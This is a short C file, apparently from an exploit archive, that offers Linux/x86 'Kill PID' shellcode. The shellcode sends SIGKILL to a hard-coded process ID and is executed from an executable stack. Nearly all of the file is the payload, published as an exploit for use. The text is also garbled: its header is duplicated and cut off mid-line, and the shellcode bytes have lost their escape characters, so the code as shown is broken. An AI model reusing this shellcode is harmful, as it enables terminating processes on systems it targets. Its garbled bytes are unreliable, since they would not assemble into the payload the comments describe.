/*
Exploit Title: Kill PID shellcode
Date: 07/09/2018
Exploit Author: Nathu Nandwani
Platform: Linux/x86
Size: 20 bytes
Compile: gcc -fn /*
Exploit Title: Kill PID shellcode
Date: 07/09/2018
Exploit Author: Nathu Nandwani
Platform: Linux/x86
Size: 20 bytes
Compile: gcc -fno-stack-protector -z execstack killproc.c -o killproc
*/
#include <string.h>
#include <stdio.h>
int main()
{
unsigned short pid = 2801;

char shellcode[] =
"x31xc0" /* xor eax, eax */
"xb0x25" /* mov al, 0x25 - SYS_KILL */
"x89xc3" /* mov ebx, eax */
"x89xc1" /* mov ecx, eax */
"x66xbb" /* mov bx, ? */
"xF1x0A" /* bx <= pid => 2801 = 0x0AF1 */
"xb1x09" /* mov cl, 0x09 - SIGKILL */
"xcdx80" /* int 0x80 */
"xb0x01" /* mov al, 0x01 */
"xcdx80"; /* int 0x80 */

shellcode[10] = pid & 0xff;
shellcode[11] = (pid >> 8) & 0xff;

printf("Shellcode length: %d ", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}